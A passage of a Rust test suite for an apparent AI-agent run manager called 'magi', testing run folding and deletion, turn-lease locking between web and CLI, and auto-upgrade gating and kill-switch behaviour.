21372 .find("function renderRuns")
21373 .expect("renderRuns exists");
21374
21375 let builder = &APP_JS[build..update];
21377 let open = builder.find("refs = {").expect("createRunCard sets refs");
21378 let literal = &builder[open + "refs = {".len()..];
21379 let close = literal.find('}').expect("the refs literal is closed");
21380 let published: HashSet<&str> = literal[..close]
21381 .split(',')
21382 .filter_map(|entry| entry.split(':').next())
21384 .map(str::trim)
21385 .filter(|name| !name.is_empty())
21386 .collect();
21387 assert!(
21388 published.len() > 5,
21389 "the refs literal did not parse into names: {published:?}"
21390 );
21391
21392 let mut used: Vec<&str> = Vec::new();
21395 let updaters = &APP_JS[update..end];
21396 for (at, _) in updaters.match_indices("r.") {
21397 let before = updaters[..at].chars().next_back();
21400 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21401 continue;
21402 }
21403 let rest = &updaters[at + 2..];
21404 let len = rest
21405 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21406 .unwrap_or(rest.len());
21407 if len > 0 {
21408 used.push(&rest[..len]);
21409 }
21410 }
21411 assert!(
21412 used.len() > 5,
21413 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21414 );
21415
21416 let missing: Vec<&str> = used
21417 .iter()
21418 .copied()
21419 .filter(|name| !published.contains(name))
21420 .collect();
21421 assert!(
21422 missing.is_empty(),
21423 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21424 never put in `refs` - every card will throw and the list will \
21425 render empty under a count line that says otherwise. Published: \
21426 {published:?}"
21427 );
21428 }
21429
21430 #[tokio::test]
21431 async fn folding_from_the_phone_reports_what_it_removed() {
21432 let fx = Fixture::start().await;
21433 let runs = fx.runs();
21434
21435 let id = "20260901-000000-fold";
21439 write_run(&runs, id, RunStatus::Stalled);
21440 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21441 assert_eq!(res.status, 200);
21442 assert_eq!(res.json()["removed_count"], 0);
21443 assert_eq!(res.json()["run"], id);
21444 assert!(
21445 runs.join(id).exists(),
21446 "a fold keeps the run's record; only the worktrees go"
21447 );
21448 }
21449
21450 #[tokio::test]
21451 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21452 let fx = Fixture::start().await;
21453 let runs = fx.runs();
21454 let wt = fx.home.path().join("wt").join("magi").join("dead");
21455 let id = "20260901-000000-dead";
21456 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21457 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21458 std::fs::create_dir_all(&wt).expect("worktree dir");
21459
21460 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21461 assert_eq!(res.status, 200, "{}", res.body);
21462 assert!(
21463 res.json()["removed_count"].as_u64().unwrap() > 0,
21464 "the worktree this build could not read a state for still went"
21465 );
21466 assert!(
21467 !runs.join(id).exists(),
21468 "an unreadable run has no candidate list to fold selectively, so \
21469 the whole record goes - same as `magi fold` on the CLI"
21470 );
21471 }
21472
21473 #[tokio::test]
21474 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21475 let fx = Fixture::start().await;
21476 let runs = fx.runs();
21477 let wt = fx.home.path().join("wt").join("magi").join("gone");
21478 let id = "20260901-000000-gone";
21479 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21480 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21481 std::fs::create_dir_all(&wt).expect("worktree dir");
21482
21483 let res = fx.delete(&format!("/api/runs/{id}")).await;
21484 assert_eq!(res.status, 204, "{}", res.body);
21485 assert!(!runs.join(id).exists(), "the broken record is gone");
21486 assert!(!wt.exists(), "its worktree is gone too");
21487 }
21488
21489 #[tokio::test]
21490 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21491 let fx = Fixture::start().await;
21492 let runs = fx.runs();
21493 let id = "20260901-000000-live";
21494 write_run(&runs, id, RunStatus::Implementing);
21495
21496 let mut beat = crate::daemon::Status::new();
21497 beat.current = vec![crate::daemon::Current {
21498 worker: None,
21499 task: "20260901-000000-task".to_owned(),
21500 run: id.to_owned(),
21501 }];
21502 beat.updated_at = jiff::Timestamp::now();
21503 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21504 .expect("publish a heartbeat");
21505
21506 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21507 assert_eq!(res.status, 409);
21508 assert!(
21509 res.json()["error"]
21510 .as_str()
21511 .unwrap()
21512 .contains("live daemon"),
21513 "folding under a running agent would pull its worktree away"
21514 );
21515 }
21516
21517 #[tokio::test]
21518 async fn fold_merged_requires_a_pr_url() {
21519 let fx = Fixture::start().await;
21520 let runs = fx.runs();
21521 let id = "20260901-000000-nourl";
21522 write_run(&runs, id, RunStatus::Blocked);
21523
21524 let res = fx
21525 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21526 .await;
21527 assert_eq!(res.status, 400, "{}", res.body);
21528
21529 let blank = fx
21530 .post(
21531 &format!("/api/runs/{id}/fold-merged"),
21532 Some(r#"{"pr_url":" "}"#),
21533 )
21534 .await;
21535 assert_eq!(blank.status, 400, "{}", blank.body);
21536 }
21537
21538 #[tokio::test]
21539 async fn fold_merged_is_404_for_an_unknown_run() {
21540 let fx = Fixture::start().await;
21541 let res = fx
21542 .post(
21543 "/api/runs/nosuchrun/fold-merged",
21544 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21545 )
21546 .await;
21547 assert_eq!(res.status, 404, "{}", res.body);
21548 }
21549
21550 #[tokio::test]
21551 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21552 let fx = Fixture::start().await;
21553 let runs = fx.runs();
21554 let id = "20260901-000000-livemerge";
21555 write_run(&runs, id, RunStatus::Blocked);
21556
21557 let mut beat = crate::daemon::Status::new();
21558 beat.current = vec![crate::daemon::Current {
21559 worker: None,
21560 task: "20260901-000000-task".to_owned(),
21561 run: id.to_owned(),
21562 }];
21563 beat.updated_at = jiff::Timestamp::now();
21564 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21565 .expect("publish a heartbeat");
21566
21567 let res = fx
21568 .post(
21569 &format!("/api/runs/{id}/fold-merged"),
21570 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21571 )
21572 .await;
21573 assert_eq!(res.status, 409, "{}", res.body);
21574 assert!(
21575 res.json()["error"]
21576 .as_str()
21577 .unwrap()
21578 .contains("live daemon"),
21579 "correcting a run's merge underneath a running agent would race \
21580 whatever it is doing to the same `status`/`merge` fields"
21581 );
21582 }
21583
21584 #[tokio::test]
21589 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21590 let fx = Fixture::start().await;
21591 let runs = fx.runs();
21592 let id = "20260901-000000-unconfirmed";
21593 write_run(&runs, id, RunStatus::Blocked);
21594
21595 let res = fx
21596 .post(
21597 &format!("/api/runs/{id}/fold-merged"),
21598 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21599 )
21600 .await;
21601 assert_eq!(res.status, 400, "{}", res.body);
21602 assert_eq!(
21603 read_run(&runs, id).unwrap().status,
21604 RunStatus::Blocked,
21605 "a pull request that could not be confirmed merged must leave \
21606 the run exactly where it was"
21607 );
21608 }
21609
21610 #[tokio::test]
21611 async fn terminal_runs_cannot_be_resumed() {
21612 let fx = Fixture::start().await;
21613 let runs = fx.runs();
21614
21615 for (status, word) in [
21616 (RunStatus::Merged, "merged"),
21617 (RunStatus::Ready, "ready"),
21618 (RunStatus::Failed, "failed"),
21619 ] {
21620 let id = format!("20260901-000000-{}", &word[..4]);
21621 write_run(&runs, &id, status);
21622 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21623 assert_eq!(res.status, 409, "{word} must not be resumable");
21624 }
21625 }
21626
21627 #[tokio::test]
21628 async fn resume_is_refused_while_the_loop_is_running() {
21629 let fx = Fixture::start().await;
21630 let runs = fx.runs();
21631 let stalled = "20260901-000000-stal";
21632 write_run(&runs, stalled, RunStatus::Stalled);
21633
21634 let mut beat = crate::daemon::Status::new();
21638 beat.current = vec![crate::daemon::Current {
21639 worker: None,
21640 task: "20260901-000000-task".to_owned(),
21641 run: "20260901-000000-othr".to_owned(),
21642 }];
21643 beat.updated_at = jiff::Timestamp::now();
21644 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21645 .expect("publish a heartbeat");
21646
21647 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21648 assert_eq!(res.status, 409);
21649 let err = res.json()["error"].as_str().unwrap().to_owned();
21650 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21651 assert!(err.contains("stop it first"), "{err}");
21652 }
21653
21654 #[test]
21655 fn a_run_cannot_be_resumed_twice_at_once() {
21656 let home = TempDir::new().expect("temp home");
21657 let ui = Ui::new(
21658 Queue::at(home.path().join("queue")),
21659 Questions::at(home.path().join("questions")),
21660 Talks::at(home.path().join("talks")),
21661 home.path().join("runs"),
21662 home.path().to_path_buf(),
21663 PathBuf::from("/repo"),
21664 )
21665 .with_worktrees_root(home.path().join("wt"));
21666 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21667 let again = ui.begin_resume("20260901-000000-once");
21668 assert!(again.is_err(), "a second tap must not start a second graph");
21669 drop(first);
21670 assert!(
21671 ui.begin_resume("20260901-000000-once").is_ok(),
21672 "and the claim is released when the attempt ends"
21673 );
21674 }
21675
21676 #[test]
21677 fn talk_thinking_tracks_only_its_held_turn_claim() {
21678 let home = TempDir::new().expect("temp home");
21679 let ui = Ui::new(
21680 Queue::at(home.path().join("queue")),
21681 Questions::at(home.path().join("questions")),
21682 Talks::at(home.path().join("talks")),
21683 home.path().join("runs"),
21684 home.path().to_path_buf(),
21685 PathBuf::from("/repo"),
21686 )
21687 .with_worktrees_root(home.path().join("wt"));
21688 let id = "20260901-000000-once";
21689
21690 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21691 let turn = ui.begin_talk_turn(id).expect("claim turn");
21692 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21693 assert!(
21694 !ui.is_thinking("20260901-000000-other"),
21695 "one talk's turn does not make another talk busy"
21696 );
21697 drop(turn);
21698 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21699 }
21700
21701 #[test]
21702 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21703 let home = TempDir::new().expect("temp home");
21704 let talks = Talks::at(home.path().join("talks"));
21705 let ui = Ui::new(
21706 Queue::at(home.path().join("queue")),
21707 Questions::at(home.path().join("questions")),
21708 talks.clone(),
21709 home.path().join("runs"),
21710 home.path().to_path_buf(),
21711 PathBuf::from("/repo"),
21712 )
21713 .with_worktrees_root(home.path().join("wt"));
21714 let id = "20260901-000000-cross";
21715
21716 let other = Talks::at(home.path().join("talks"))
21717 .claim_turn(id)
21718 .expect("claim")
21719 .expect("the other process wins");
21720 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21721 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21722 assert!(
21723 matches!(
21724 ui.begin_talk_turn_unless_pending(id).expect("start"),
21725 TalkTurnStart::Foreign
21726 ),
21727 "a foreign holder is refused, not queued behind"
21728 );
21729 assert!(
21730 !ui.talk_turns.lock().unwrap().live.contains(id),
21731 "a refused claim leaves no in-process entry behind"
21732 );
21733 drop(other);
21734 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21735 assert!(talks.turn_held(id), "the web turn holds the lease");
21736 drop(turn);
21737 assert!(
21738 !talks.turn_held(id),
21739 "dropping the guard releases the lease"
21740 );
21741 }
21742
21743 fn consult_question(ui: &Ui) -> Question {
21744 let mut q = Question::new(
21745 "20260901-000000-consult".to_owned(),
21746 "implement".to_owned(),
21747 "impl-A".to_owned(),
21748 "Which backend?".to_owned(),
21749 String::new(),
21750 vec!["SQLite".to_owned(), "Redis".to_owned()],
21751 );
21752 ui.questions.put(&mut q).expect("question");
21753 q
21754 }
21755
21756 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21757 (
21758 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21759 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21760 )
21761 }
21762
21763 #[tokio::test]
21764 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21765 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21766 let q = consult_question(&ui);
21767 let talk = ui.talks.get(&id).expect("talk");
21768 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21769 let before = consult_snapshot(&ui, &q, &id);
21770 let cli_talks = Talks::at(ui.home.join("talks"));
21771 assert_eq!(
21772 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21773 .await
21774 .expect("CLI starter"),
21775 crate::consult::Started::Busy
21776 );
21777 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21778 assert!(ui.is_thinking(&id));
21779 drop(guard);
21780 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21781 }
21782
21783 #[tokio::test]
21784 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21785 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21786 let q = consult_question(&ui);
21787 let talk = ui.talks.get(&id).expect("talk");
21788 let started = tmp.path().join("started");
21789 let release = tmp.path().join("release");
21790 let script = tmp.path().join("consult-agent.sh");
21791 std::fs::write(
21792 &script,
21793 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21794 )
21795 .expect("script");
21796 let mut cfg = stub_config();
21797 cfg.agents[0].id = "mock".to_owned();
21798 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21799 cfg.agents[0].env = std::collections::BTreeMap::from([
21800 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21801 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21802 ]);
21803 let questions = ui.questions.clone();
21804 let cli_talks = Talks::at(ui.home.join("talks"));
21805 let cli_q = q.clone();
21806 let turn = tokio::spawn(async move {
21807 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21808 });
21809 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21810 while !started.exists() {
21811 tokio::time::sleep(Duration::from_millis(10)).await;
21812 }
21813 })
21814 .await;
21815 let refusal = if ready.is_ok() {
21818 let before = consult_snapshot(&ui, &q, &id);
21819 let result = talk_say(
21820 State(Arc::clone(&ui)),
21821 Path(id.clone()),
21822 Ok(Json(NewTalkTurn {
21823 reply_to: None,
21824 text: "another message".to_owned(),
21825 attachments: Vec::new(),
21826 })),
21827 )
21828 .await;
21829 Some((result, before, consult_snapshot(&ui, &q, &id)))
21830 } else {
21831 None
21832 };
21833 std::fs::write(&release, "").expect("release agent");
21834 let done = turn.await.expect("join CLI turn");
21835 ready.expect("agent started before deadline");
21836 let (result, before, after) = refusal.expect("web request");
21837 let error = result.expect_err("web must refuse the CLI's turn");
21838 assert_eq!(error.status, StatusCode::CONFLICT);
21839 assert!(error.message.contains("a turn is already running"));
21840 assert_eq!(
21841 after, before,
21842 "refusal preserves question, draft and history"
21843 );
21844 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21845 let guard = ui
21846 .begin_talk_turn(&id)
21847 .expect("web claim")
21848 .expect("free again");
21849 drop(guard);
21850 }
21851
21852 #[test]
21853 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21854 let home = TempDir::new().expect("temp home");
21855 let talks = Talks::at(home.path().join("talks"));
21856 let ui = Ui::new(
21857 Queue::at(home.path().join("queue")),
21858 Questions::at(home.path().join("questions")),
21859 talks.clone(),
21860 home.path().join("runs"),
21861 home.path().to_path_buf(),
21862 PathBuf::from("/repo"),
21863 )
21864 .with_worktrees_root(home.path().join("wt"));
21865 let id = "20260901-000000-order";
21866 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21867 let slots = ui.talk_turns.lock().unwrap();
21869 let dropper = std::thread::spawn(move || drop(turn));
21870 let start = std::time::Instant::now();
21871 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21872 std::thread::sleep(Duration::from_millis(5));
21873 }
21874 assert!(!talks.turn_held(id), "the lease is released first");
21875 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21876 drop(slots);
21877 dropper.join().expect("join");
21878 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21879 }
21880
21881 #[tokio::test]
21882 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21883 let fx = Fixture::start().await;
21884 let mut beat = crate::daemon::Status::new();
21885 beat.worker_protocol = None;
21886 beat.pid = 4321;
21887 beat.updated_at = jiff::Timestamp::now();
21888 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21889 .expect("publish a heartbeat");
21890
21891 let res = fx.post("/api/upgrade", None).await;
21892 assert_eq!(res.status, 409);
21893 }
21894
21895 #[test]
21902 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21903 assert!(!should_spawn_recheck(&crate::config::Update {
21904 mode: UpdateMode::Off,
21905 interval: None,
21906 auto_restart: false,
21907 }));
21908
21909 unsafe {
21912 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21913 }
21914 let killed = should_spawn_recheck(&crate::config::Update {
21915 mode: UpdateMode::Notify,
21916 interval: None,
21917 auto_restart: false,
21918 });
21919 unsafe {
21920 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21921 }
21922 assert!(
21923 !killed,
21924 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21925 one-time startup check"
21926 );
21927
21928 assert!(should_spawn_recheck(&crate::config::Update {
21929 mode: UpdateMode::Notify,
21930 interval: None,
21931 auto_restart: false,
21932 }));
21933 }
21934
21935 #[test]
21941 fn recheck_poll_period_tracks_a_short_configured_interval() {
21942 let short = crate::config::Update {
21943 mode: UpdateMode::Notify,
21944 interval: Some("1m".to_owned()),
21945 auto_restart: false,
21946 };
21947 let period = recheck_poll_period(&short);
21948 assert!(
21949 period <= Duration::from_secs(30),
21950 "a one-minute interval must wake the task far sooner than the \
21951 default ceiling, or the deck would not notice within the \
21952 interval the operator configured: got {period:?}"
21953 );
21954
21955 let default = crate::config::Update {
21956 mode: UpdateMode::Notify,
21957 interval: None,
21958 auto_restart: false,
21959 };
21960 assert_eq!(
21961 recheck_poll_period(&default),
21962 UPDATE_RECHECK_POLL_MAX,
21963 "the default day-long interval should poll at the (capped) \
21964 ceiling rather than needlessly often"
21965 );
21966 }
21967
21968 #[test]
21976 fn recheck_skips_the_network_before_the_interval_elapses() {
21977 let dir = TempDir::new().expect("temp dir");
21978 let path = dir.path().join("state.json");
21979 let state = kaishin::UpdateCheckState {
21980 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21981 last_known_latest: None,
21982 last_known_url: None,
21983 };
21984 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21985
21986 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21987 assert!(
21988 !update_recheck_due(&checker, None),
21989 "a check made moments ago must not be repeated before the \
21990 configured interval elapses"
21991 );
21992 }
21993
21994 #[test]
22000 fn recheck_defers_to_an_upgrade_already_in_flight() {
22001 let dir = TempDir::new().expect("temp dir");
22002 let path = dir.path().join("state.json");
22003 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22004 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22005
22006 assert!(
22007 !update_recheck_due(&checker, Some(&progress)),
22008 "a recheck must not run while an upgrade this deck started is \
22009 still moving"
22010 );
22011 }
22012
22013 #[tokio::test]
22014 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22015 unsafe {
22027 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22028 }
22029 let fx = Fixture::start().await;
22030 let res = fx.post("/api/upgrade", None).await;
22031 unsafe {
22032 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22033 }
22034 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22035 let body = res.json();
22036 assert!(body["to"].is_null(), "there was no release to move to");
22037 assert!(body["parked"].is_null(), "and nothing was parked");
22038 assert!(
22039 body["detail"]
22040 .as_str()
22041 .unwrap()
22042 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22043 "{body:?}"
22044 );
22045 }
22046
22047 #[test]
22048 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22049 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22050 let mut cfg = Update::default();
22051 assert!(matches!(
22052 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22053 Skip(_)
22054 ));
22055 cfg.auto_restart = true;
22056 assert_eq!(
22057 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22058 Trigger
22059 );
22060 assert_eq!(
22061 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22062 Wait
22063 );
22064 for (disabled, moving, failed) in [
22065 (true, false, None),
22066 (false, true, None),
22067 (false, false, Some("v2")),
22068 ] {
22069 assert!(matches!(
22070 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22071 Skip(_)
22072 ));
22073 }
22074 assert_eq!(
22075 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22076 Trigger
22077 );
22078 cfg.mode = UpdateMode::Off;
22079 assert!(matches!(
22080 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22081 Skip(_)
22082 ));
22083 }
22084
22085 #[test]
22086 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22087 let home = TempDir::new().unwrap();
22088 let ui = idle_ui(&home);
22089 assert!(!ui.auto_upgrade_busy());
22090 let directory = home.path().join("workers/jobs/abcdef");
22091 std::fs::create_dir_all(&directory).unwrap();
22092 let mut job = crate::worker::Job {
22093 id: "abcdef".into(),
22094 sequence: 1,
22095 kind: "scheduler".into(),
22096 key: "scheduler".into(),
22097 payload: serde_json::json!({}),
22098 generation: "test".into(),
22099 version: None,
22100 status: crate::worker::Status::Running,
22101 result: None,
22102 pid: None,
22103 created_at: 0,
22104 finished_at: None,
22105 };
22106 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22107 let write = |job: &crate::worker::Job| {
22108 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22109 };
22110 write(&job);
22111 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22112 for kind in ["task", "chat"] {
22113 job.kind = kind.into();
22114 write(&job);
22115 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22116 }
22117 drop(lease);
22118 let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22124 loop {
22125 let probe = std::fs::OpenOptions::new()
22126 .read(true)
22127 .write(true)
22128 .open(directory.join("live.lock"))
22129 .unwrap();
22130 if crate::pr_head::try_lock_file(&probe).is_ok() {
22131 break;
22132 }
22133 assert!(
22134 std::time::Instant::now() < free,
22135 "the worker lease was never released"
22136 );
22137 std::thread::sleep(std::time::Duration::from_millis(5));
22138 }
22139 assert!(
22140 !ui.auto_upgrade_busy(),
22141 "completed execution permits updates"
22142 );
22143 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22144 assert!(
22145 ui.auto_upgrade_busy(),
22146 "unreadable worker state defers updates"
22147 );
22148 }
22149
22150 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22151 Box::pin(async { anyhow::bail!("test installer failed") })
22152 }
22153
22154 #[tokio::test]
22155 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22156 let home = TempDir::new().unwrap();
22157 std::fs::write(
22158 home.path().join("magi.toml"),
22159 "[update]\nauto_restart = true\n",
22160 )
22161 .unwrap();
22162 let mut ui = idle_ui(&home);
22163 ui.repo = home.path().to_path_buf();
22164 ui.upgrade_runner = fail_test_upgrade;
22166 let ui = Arc::new(ui);
22167 let latest = || {
22168 Some(kaishin::LatestRelease {
22169 tag_name: "v999.0.0".into(),
22170 html_url: String::new(),
22171 })
22172 };
22173 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22174 assert_eq!(
22175 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22176 .await
22177 .status(),
22178 StatusCode::NO_CONTENT
22179 );
22180 assert!(updater::read_progress(home.path()).is_none());
22181 ui.talk_turns.lock().unwrap().live.clear();
22182 let gate = ui.upgrade_gate.lock().await;
22183 assert_eq!(
22184 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22185 .await
22186 .status(),
22187 StatusCode::CONFLICT
22188 );
22189 drop(gate);
22190 assert_eq!(
22191 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22192 .await
22193 .status(),
22194 StatusCode::ACCEPTED
22195 );
22196 let progress = updater::read_progress(home.path()).unwrap();
22197 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22198 assert_eq!(progress.stage, updater::Stage::Downloading);
22199 assert!(progress.parked_run.is_none());
22200 assert!(ui.start_detached_loop().await.is_err());
22201 assert!(ui.start_loop(None).is_err());
22202 assert!(ui.begin_resume("late").is_err());
22203 tokio::time::timeout(Duration::from_secs(2), async {
22204 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22205 tokio::task::yield_now().await;
22206 }
22207 })
22208 .await
22209 .unwrap();
22210 let progress = updater::read_progress(home.path()).unwrap();
22211 assert_eq!(progress.stage, updater::Stage::Failed);
22212 assert_eq!(
22213 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22214 .await
22215 .status(),
22216 StatusCode::NO_CONTENT
22217 );
22218 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22220 assert_eq!(
22221 finish_upgrade_request(&ui, result).status(),
22222 StatusCode::ACCEPTED
22223 );
22224 assert_eq!(
22225 updater::read_progress(home.path()).unwrap().trigger,
22226 updater::UpgradeTrigger::Manual
22227 );
22228 tokio::time::timeout(Duration::from_secs(2), async {
22229 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22230 tokio::task::yield_now().await;
22231 }
22232 })
22233 .await
22234 .unwrap();
22235 }
22236
22237 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22238 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22239 p.stage = stage;
22240 p
22241 }
22242
22243 #[test]
22244 fn busy_stages_match_the_ui_set() {
22245 use crate::updater::Stage;
22246 assert!(APP_JS.contains(
22247 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22248 ));
22249 for s in [
22250 Stage::Downloading,
22251 Stage::Replaced,
22252 Stage::Parking,
22253 Stage::Restarting,
22254 ] {
22255 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22256 }
22257 for s in [Stage::Done, Stage::Failed] {
22258 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22259 }
22260 assert!(upgrade_in_motion(None).is_none());
22261 }
22262
22263 #[tokio::test]
22264 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22265 use crate::updater::Stage;
22266 for stage in [
22267 Stage::Downloading,
22268 Stage::Replaced,
22269 Stage::Parking,
22270 Stage::Restarting,
22271 ] {
22272 let fx = Fixture::start().await;
22273 let seeded = seeded_progress(stage);
22274 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22275 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22276 .expect("read");
22277
22278 let res = fx.post("/api/upgrade", None).await;
22279 assert_eq!(res.status, 409, "{stage:?}");
22280 let err = res.json()["error"].as_str().unwrap().to_owned();
22281 assert!(err.contains("already in progress"), "{err}");
22282 assert!(err.contains(stage.as_str()), "{err}");
22283
22284 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22285 .expect("read");
22286 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22287 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22288 .unwrap_or_default();
22289 assert!(!log.contains("signalling HANDOVER"), "{log}");
22290 }
22291 }
22292
22293 #[test]
22294 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22295 assert_eq!(
22296 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22297 Some(3723)
22298 );
22299 assert_eq!(
22300 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22301 Some(60)
22302 );
22303 assert_eq!(
22304 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22305 Some(0)
22306 );
22307 for message in [
22308 "permission denied",
22309 "GitHub API rate limit exceeded",
22310 "GitHub rate limit (resets in unknown)",
22311 "GitHub rate limit (resets in 18446744073709551615d)",
22312 ] {
22313 assert_eq!(upgrade_retry_after(message), None, "{message}");
22314 }
22315 }
22316
22317 #[tokio::test]
22318 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22319 let home = TempDir::new().unwrap();
22320 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22321 ui.start_loop(None).unwrap();
22322 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22323 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22324 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22325 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22326 let response = finish_upgrade_request(&ui, result);
